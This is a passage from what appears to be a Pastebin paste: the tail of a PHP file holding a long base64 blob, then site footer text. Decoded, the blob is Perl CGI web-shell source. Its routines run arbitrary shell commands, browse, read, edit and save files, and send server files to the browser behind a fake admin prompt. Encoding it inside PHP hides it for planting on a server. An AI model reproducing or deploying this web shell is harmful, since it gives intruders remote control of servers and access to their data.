tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7CglteSAkcmVzdWx0PSIiOwoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8gZG8hCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOwoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pCgl7CgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsKCX1lbHNlCgl7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kPC9ydW4+PGJyPjx0ZXh0YXJlYSBpZD0nZGF0YScgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkkcmVzdWx0IC49JlJ1bkNtZDsKCX0KCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgcnVuIGNvbW1hbmQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7Cgl9CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZvcm0gU2F2ZSBGaWxlIAojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZUZvcm0KewoJbXkgJHJlc3VsdCA9IiI7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsKCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsKCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7CglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsKCWlmKC13ICRGaWxlKQoJewoJCSRyb3dzPSIyMyIKCX1lbHNlCgl7CgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdjb2xvcjogeWVsbG93OycgPiBDYW5uJ3Qgd3JpdGUgZmlsZSE8Zm9udD48YnI+IjsKCQkkcm93cz0iMjAiCgl9CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsKCSRyZXN1bHQgLj0gIDw8RU5EOwoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KCSRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+PGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZzxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlP"
  417. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top